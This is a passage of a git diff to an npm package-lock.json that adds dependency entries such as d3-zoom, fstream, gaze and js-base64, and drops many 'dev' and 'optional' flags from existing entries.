+ "d3-voronoi": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/d3-voronoi/-/d3-voronoi-1.1.4.tgz",
+ "integrity": "sha512-dArJ32hchFsrQ8uMiTBLq256MpnZjeuBtdHpaDlYuQyjU0CVzCJl/BVW+SkszaAeH95D/8gxqAhgx0ouAWAfRg=="
+ },
+ "d3-zoom": {
+ "version": "1.8.3",
+ "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-1.8.3.tgz",
+ "integrity": "sha512-VoLXTK4wvy1a0JpH2Il+F2CiOhVu7VRXWF5M/LroMIh3/zBAC3WAt7QoIvPibOavVo20hN6/37vwAsdBejLyKQ==",
+ "requires": {
+ "d3-dispatch": "1",
+ "d3-drag": "1",
+ "d3-interpolate": "1",
+ "d3-selection": "1",
+ "d3-transition": "1"
+ }
+ },
"dashdash": {
"version": "1.14.1",
"resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz",
"integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=",
- "dev": true,
"requires": {
"assert-plus": "^1.0.0"
}
@@ -3617,8 +3962,7 @@
"decamelize": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz",
- "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=",
- "dev": true
+ "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA="
},
"decode-uri-component": {
"version": "0.2.0",
@@ -3773,8 +4117,12 @@
"delayed-stream": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
- "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=",
- "dev": true
+ "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk="
+ },
+ "delegates": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz",
+ "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o="
},
"depd": {
"version": "1.1.2",
@@ -4021,7 +4369,6 @@
"version": "0.1.1",
"resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.1.tgz",
"integrity": "sha1-D8c6ntXw1Tw4GTOYUj735UN3dQU=",
- "dev": true,
"optional": true,
"requires": {
"jsbn": "~0.1.0"
@@ -4067,8 +4414,7 @@
"emojis-list": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-2.1.0.tgz",
- "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k=",
- "dev": true
+ "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k="
},
"encodeurl": {
"version": "1.0.2",
@@ -5001,8 +5347,7 @@
"extsprintf": {
"version": "1.3.0",
"resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz",
- "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=",
- "dev": true
+ "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU="
},
"fast-deep-equal": {
"version": "1.1.0",
@@ -5116,6 +5461,11 @@
}
}
},
+ "file-saver": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/file-saver/-/file-saver-2.0.2.tgz",
+ "integrity": "sha512-Wz3c3XQ5xroCxd1G8b7yL0Ehkf0TC9oYC6buPFkNnU9EnaPlifeAFCyCh+iewXTyFRcg0a6j3J7FmJsIhlhBdw=="
+ },
"filename-regex": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/filename-regex/-/filename-regex-2.0.1.tgz",
@@ -5194,7 +5544,6 @@
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz",
"integrity": "sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=",
- "dev": true,
"requires": {
"path-exists": "^2.0.0",
"pinkie-promise": "^2.0.0"
@@ -5288,8 +5637,7 @@
"for-in": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz",
- "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=",
- "dev": true
+ "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA="
},
"for-own": {
"version": "0.1.5",
@@ -5304,14 +5652,12 @@
"forever-agent": {
"version": "0.6.1",
"resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz",
- "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=",
- "dev": true
+ "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE="
},
"form-data": {
"version": "2.3.2",
"resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.2.tgz",
"integrity": "sha1-SXBJi+YEwgwAXU9cI67NIda0kJk=",
- "dev": true,
"requires": {
"asynckit": "^0.4.0",
"combined-stream": "1.0.6",
@@ -5419,8 +5765,7 @@
"fs.realpath": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
- "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=",
- "dev": true
+ "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8="
},
"fsevents": {
"version": "1.1.2",
@@ -5452,8 +5797,7 @@
"ansi-regex": {
"version": "2.1.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"aproba": {
"version": "1.1.1",
@@ -5504,8 +5848,7 @@
"balanced-match": {
"version": "0.4.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"bcrypt-pbkdf": {
"version": "1.0.1",
@@ -5544,8 +5887,7 @@
"buffer-shims": {
"version": "1.0.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"caseless": {
"version": "0.12.0",
@@ -5816,8 +6158,7 @@
"inherits": {
"version": "2.0.3",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"ini": {
"version": "1.3.4",
@@ -6012,7 +6353,6 @@
"version": "1.4.0",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"wrappy": "1"
}
@@ -6322,11 +6662,21 @@
"wrappy": {
"version": "1.0.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
}
}
},
+ "fstream": {
+ "version": "1.0.12",
+ "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.12.tgz",
+ "integrity": "sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==",
+ "requires": {
+ "graceful-fs": "^4.1.2",
+ "inherits": "~2.0.0",
+ "mkdirp": ">=0.5 0",
+ "rimraf": "2"
+ }
+ },
"function-bind": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz",
@@ -6339,11 +6689,53 @@
"integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=",
"dev": true
},
+ "gauge": {
+ "version": "2.7.4",
+ "resolved": "https://registry.npmjs.org/gauge/-/gauge-2.7.4.tgz",
+ "integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=",
+ "requires": {
+ "aproba": "^1.0.3",
+ "console-control-strings": "^1.0.0",
+ "has-unicode": "^2.0.0",
+ "object-assign": "^4.1.0",
+ "signal-exit": "^3.0.0",
+ "string-width": "^1.0.1",
+ "strip-ansi": "^3.0.1",
+ "wide-align": "^1.1.0"
+ },
+ "dependencies": {
+ "is-fullwidth-code-point": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
+ "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=",
+ "requires": {
+ "number-is-nan": "^1.0.0"
+ }
+ },
+ "string-width": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
+ "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=",
+ "requires": {
+ "code-point-at": "^1.0.0",
+ "is-fullwidth-code-point": "^1.0.0",
+ "strip-ansi": "^3.0.0"
+ }
+ }
+ }
+ },
+ "gaze": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz",
+ "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==",
+ "requires": {
+ "globule": "^1.0.0"
+ }
+ },
"get-caller-file": {
"version": "1.0.3",
"resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.3.tgz",
- "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==",
- "dev": true
+ "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w=="
},
"get-func-name": {
"version": "2.0.0",
@@ -6354,8 +6746,7 @@
"get-stdin": {
"version": "4.0.1",
"resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-4.0.1.tgz",
- "integrity": "sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4=",
- "dev": true
+ "integrity": "sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4="
},
"get-stream": {
"version": "3.0.0",
@@ -6373,7 +6764,6 @@
"version": "0.1.7",
"resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz",
"integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=",
- "dev": true,
"requires": {
"assert-plus": "^1.0.0"
}
@@ -6382,7 +6772,6 @@
"version": "7.1.3",
"resolved": "https://registry.npmjs.org/glob/-/glob-7.1.3.tgz",
"integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==",
- "dev": true,
"requires": {
"fs.realpath": "^1.0.0",
"inflight": "^1.0.4",
@@ -6408,7 +6797,6 @@
"resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz",
"integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=",
"dev": true,
- "optional": true,
"requires": {
"is-glob": "^2.0.0"
}
@@ -6449,11 +6837,20 @@
"pinkie-promise": "^2.0.0"
}
},
+ "globule": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/globule/-/globule-1.2.1.tgz",
+ "integrity": "sha512-g7QtgWF4uYSL5/dn71WxubOrS7JVGCnFPEnoeChJmBnyR9Mw8nGoEwOgJL/RC2Te0WhbsEUCejfH8SZNJ+adYQ==",
+ "requires": {
+ "glob": "~7.1.1",
+ "lodash": "~4.17.10",
+ "minimatch": "~3.0.2"
+ }
+ },
"graceful-fs": {
"version": "4.1.11",
"resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.1.11.tgz",
- "integrity": "sha1-Dovf5NHduIVNZOBOp8AOKgJuVlg=",
- "dev": true
+ "integrity": "sha1-Dovf5NHduIVNZOBOp8AOKgJuVlg="
},
"growl": {
"version": "1.10.5",
@@ -6498,8 +6895,7 @@
"har-schema": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz",
- "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=",
- "dev": true
+ "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI="
},
"har-validator": {
"version": "5.0.3",
@@ -6538,7 +6934,6 @@
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz",
"integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=",
- "dev": true,
"requires": {
"ansi-regex": "^2.0.0"
}
@@ -6578,6 +6973,11 @@
"integrity": "sha1-uhqPGvKg/DllD1yFA2dwQSIGO0Q=",
"dev": true
},
+ "has-unicode": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz",
+ "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk="
+ },
"has-value": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz",
@@ -6733,8 +7133,7 @@
"hosted-git-info": {
"version": "2.7.1",
"resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.7.1.tgz",
- "integrity": "sha512-7T/BxH19zbcCTa8XkMlbK5lTo1WtgkFi3GvdWEyNuc4Vex7/9Dqbnpsf4JMydcfj9HCg4zUWFTL3Za6lapg5/w==",
- "dev": true
+ "integrity": "sha512-7T/BxH19zbcCTa8XkMlbK5lTo1WtgkFi3GvdWEyNuc4Vex7/9Dqbnpsf4JMydcfj9HCg4zUWFTL3Za6lapg5/w=="
},
"hpack.js": {
"version": "2.1.6",
@@ -7237,7 +7636,6 @@
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz",
"integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=",
- "dev": true,
"requires": {
"assert-plus": "^1.0.0",
"jsprim": "^1.2.2",
@@ -7387,11 +7785,15 @@
"integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=",
"dev": true
},
+ "in-publish": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/in-publish/-/in-publish-2.0.0.tgz",
+ "integrity": "sha1-4g/146KvwmkDILbcVSaCqcf631E="
+ },
"indent-string": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/indent-string/-/indent-string-2.1.0.tgz",
"integrity": "sha1-ji1INIdCEhtKghi3oTfppSBJ3IA=",
- "dev": true,
"requires": {
"repeating": "^2.0.0"
}
@@ -7406,7 +7808,6 @@
"version": "1.0.6",
"resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
"integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=",
- "dev": true,
"requires": {
"once": "^1.3.0",
"wrappy": "1"
@@ -7415,8 +7816,7 @@
"inherits": {
"version": "2.0.3",
"resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
- "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=",
- "dev": true
+ "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
},
"inquirer": {
"version": "6.2.0",
@@ -7518,8 +7918,7 @@
"invert-kv": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz",
- "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=",
- "dev": true
+ "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY="
},
"ip": {
"version": "1.1.5",
@@ -7572,7 +7971,6 @@
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-1.0.0.tgz",
"integrity": "sha1-VAVy0096wxGfj3bDDLwbHgN6/74=",
- "dev": true,
"requires": {
"builtin-modules": "^1.0.0"
}
@@ -7642,21 +8040,18 @@
"is-extendable": {
"version": "0.1.1",
"resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
- "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=",
- "dev": true
+ "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik="
},
"is-extglob": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz",
"integrity": "sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=",
- "dev": true,
- "optional": true
+ "dev": true
},
"is-finite": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/is-finite/-/is-finite-1.0.2.tgz",
"integrity": "sha1-zGZ3aVYCvlUO8R6LSqYwU0K20Ko=",
- "dev": true,
"requires": {
"number-is-nan": "^1.0.0"
}
@@ -7664,15 +8059,13 @@
"is-fullwidth-code-point": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
- "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=",
- "dev": true
+ "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8="
},
"is-glob": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz",
"integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=",
"dev": true,
- "optional": true,
"requires": {
"is-extglob": "^1.0.0"
}
@@ -7715,7 +8108,6 @@
"version": "2.0.4",
"resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz",
"integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==",
- "dev": true,
"requires": {
"isobject": "^3.0.1"
},
@@ -7723,8 +8115,7 @@
"isobject": {
"version": "3.0.1",
"resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
- "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
- "dev": true
+ "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8="
}
}
},
@@ -7739,8 +8130,7 @@
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz",
"integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=",
- "dev": true,
- "optional": true
+ "dev": true
},
"is-promise": {
"version": "2.1.0",
@@ -7777,14 +8167,12 @@
"is-typedarray": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
- "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=",
- "dev": true
+ "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo="
},
"is-utf8": {
"version": "0.2.1",
"resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz",
- "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=",
- "dev": true
+ "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI="
},
"is-windows": {
"version": "1.0.2",
@@ -7815,8 +8203,7 @@
"isexe": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
- "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=",
- "dev": true
+ "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA="
},
"isobject": {
"version": "2.1.0",
@@ -7849,8 +8236,7 @@
"isstream": {
"version": "0.1.2",
"resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz",
- "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=",
- "dev": true
+ "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo="
},
"istanbul": {
"version": "0.4.5",
@@ -7904,6 +8290,11 @@
}
}
},
+ "js-base64": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.5.1.tgz",
+ "integrity": "sha512-M7kLczedRMYX4L8Mdh4MzyAMM9O5osx+4FcOQuTvr3A9F2D9S5JXheN0ewNbrvK2UatkTRhL5ejGmGSjNMiZuw=="
+ },
"js-file-download": {
"version": "0.4.4",
"resolved": "https://registry.npmjs.org/js-file-download/-/js-file-download-0.4.4.tgz",
@@ -7928,7 +8319,6 @@
"version": "0.1.1",
"resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz",
"integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=",
- "dev": true,
"optional": true
},
"jsesc": {
@@ -7950,8 +8340,7 @@
"json-schema": {
"version": "0.2.3",
"resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz",
- "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=",
- "dev": true
+ "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM="
},
"json-schema-traverse": {
"version": "0.3.1",
@@ -7967,8 +8356,7 @@
"json-stringify-safe": {
"version": "5.0.1",
"resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
- "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=",
- "dev": true
+ "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus="
},
"json3": {
"version": "3.3.2",
@@ -7995,7 +8383,6 @@
"version": "1.4.1",
"resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz",
"integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=",
- "dev": true,
"requires": {
"assert-plus": "1.0.0",
"extsprintf": "1.3.0",
@@ -8295,8 +8682,7 @@
"ansi-regex": {
"version": "2.1.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"aproba": {
"version": "1.2.0",
@@ -8317,14 +8703,12 @@
"balanced-match": {
"version": "1.0.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"brace-expansion": {
"version": "1.1.11",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"balanced-match": "^1.0.0",
"concat-map": "0.0.1"
@@ -8339,20 +8723,17 @@
"code-point-at": {
"version": "1.1.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"concat-map": {
"version": "0.0.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"console-control-strings": {
"version": "1.1.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"core-util-is": {
"version": "1.0.2",
@@ -8469,8 +8850,7 @@
"inherits": {
"version": "2.0.3",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"ini": {
"version": "1.3.5",
@@ -8482,7 +8862,6 @@
"version": "1.0.0",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"number-is-nan": "^1.0.0"
}
@@ -8497,7 +8876,6 @@
"version": "3.0.4",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"brace-expansion": "^1.1.7"
}
@@ -8505,14 +8883,12 @@
"minimist": {
"version": "0.0.8",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"minipass": {
"version": "2.2.4",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"safe-buffer": "^5.1.1",
"yallist": "^3.0.0"
@@ -8531,7 +8907,6 @@
"version": "0.5.1",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"minimist": "0.0.8"
}
@@ -8612,8 +8987,7 @@
"number-is-nan": {
"version": "1.0.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"object-assign": {
"version": "4.1.1",
@@ -8625,7 +8999,6 @@
"version": "1.4.0",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"wrappy": "1"
}
@@ -8711,8 +9084,7 @@
"safe-buffer": {
"version": "5.1.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"safer-buffer": {
"version": "2.1.2",
@@ -8748,7 +9120,6 @@
"version": "1.0.2",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"code-point-at": "^1.0.0",
"is-fullwidth-code-point": "^1.0.0",
@@ -8768,7 +9139,6 @@
"version": "3.0.1",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"ansi-regex": "^2.0.0"
}
@@ -8812,14 +9182,12 @@
"wrappy": {
"version": "1.0.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"yallist": {
"version": "3.0.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
}
}
},
@@ -9153,7 +9521,6 @@
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz",
"integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=",
- "dev": true,
"requires": {
"invert-kv": "^1.0.0"
}
@@ -9172,7 +9539,6 @@
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz",
"integrity": "sha1-lWkFcI1YtLq0wiYbBPWfMcmTdMA=",
- "dev": true,
"requires": {
"graceful-fs": "^4.1.2",
"parse-json": "^2.2.0",
@@ -9185,7 +9551,6 @@
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz",
"integrity": "sha1-YhmoVhZSBJHzV4i9vxRHqZx+aw4=",
- "dev": true,
"requires": {
"is-utf8": "^0.2.0"
}
@@ -9287,6 +9652,11 @@
"resolved": "https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz",
"integrity": "sha1-h79AKSuM+D5OjOGjrkIJ4gBxZ1o="
},
+ "lodash.tail": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/lodash.tail/-/lodash.tail-4.1.1.tgz",
+ "integrity": "sha1-0jM6NtnncXyK0vfKyv7HwytERmQ="
+ },
"lodash.topath": {
"version": "4.5.2",
"resolved": "https://registry.npmjs.org/lodash.topath/-/lodash.topath-4.5.2.tgz",
@@ -9388,8 +9758,7 @@
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz",
"integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=",
- "dev": true,
- "optional": true
+ "dev": true
},
"loose-envify": {
"version": "1.3.1",
@@ -9403,7 +9772,6 @@
"version": "1.6.0",
"resolved": "https://registry.npmjs.org/loud-rejection/-/loud-rejection-1.6.0.tgz",
"integrity": "sha1-W0b4AUft7leIcPCG0Eghz5mOVR8=",
- "dev": true,
"requires": {
"currently-unhandled": "^0.4.1",
"signal-exit": "^3.0.0"
@@ -9419,7 +9787,6 @@
"version": "4.1.3",
"resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.3.tgz",
"integrity": "sha512-fFEhvcgzuIoJVUF8fYr5KR0YqxD238zgObTps31YdADwPPAp82a4M8TrckkWyx7ekNlf9aBcVn81cFwwXngrJA==",
- "dev": true,
"requires": {
"pseudomap": "^1.0.2",
"yallist": "^2.1.2"
@@ -9460,8 +9827,7 @@
"map-obj": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz",
- "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=",
- "dev": true
+ "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0="
},
"map-visit": {
"version": "1.0.0",
@@ -9558,7 +9924,6 @@
"version": "3.7.0",
"resolved": "https://registry.npmjs.org/meow/-/meow-3.7.0.tgz",
"integrity": "sha1-cstmi0JSKCkKu/qFaJJYcwioAfs=",
- "dev": true,
"requires": {
"camelcase-keys": "^2.0.0",
"decamelize": "^1.1.2",
@@ -9625,14 +9990,12 @@
"mime-db": {
"version": "1.29.0",
"resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.29.0.tgz",
- "integrity": "sha1-SNJtI1WJZRcErFkWygYAGRQmaHg=",
- "dev": true
+ "integrity": "sha1-SNJtI1WJZRcErFkWygYAGRQmaHg="
},
"mime-types": {
"version": "2.1.16",
"resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.16.tgz",
"integrity": "sha1-K4WKUuXs1RbbiXrCvodIeDBpjiM=",
- "dev": true,
"requires": {
"mime-db": "~1.29.0"
}
@@ -9668,7 +10031,6 @@
"version": "3.0.4",
"resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz",
"integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=",
- "dev": true,
"requires": {
"brace-expansion": "^1.1.7"
}
@@ -9676,8 +10038,7 @@
"minimist": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.0.tgz",
- "integrity": "sha1-o1AIsg9BOD7sH7kU9M1d95omQoQ=",
- "dev": true
+ "integrity": "sha1-o1AIsg9BOD7sH7kU9M1d95omQoQ="
},
"mississippi": {
"version": "2.0.0",
@@ -9718,11 +10079,26 @@
}
}
},
+ "mixin-object": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/mixin-object/-/mixin-object-2.0.1.tgz",
+ "integrity": "sha1-T7lJRB2rGCVA8f4DW6YOGUel5X4=",
+ "requires": {
+ "for-in": "^0.1.3",
+ "is-extendable": "^0.1.1"
+ },
+ "dependencies": {
+ "for-in": {
+ "version": "0.1.8",
+ "resolved": "https://registry.npmjs.org/for-in/-/for-in-0.1.8.tgz",
+ "integrity": "sha1-2Hc5COMSVhCZUrH9ubP6hn0ndeE="
+ }
+ }
+ },
"mkdirp": {
"version": "0.5.1",
"resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz",
"integrity": "sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=",
- "dev": true,
"requires": {
"minimist": "0.0.8"
},
@@ -9730,8 +10106,7 @@
"minimist": {
"version": "0.0.8",
"resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz",
- "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=",
- "dev": true
+ "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0="
}
}
},
@@ -9902,8 +10277,7 @@
"neo-async": {
"version": "2.5.2",
"resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.5.2.tgz",
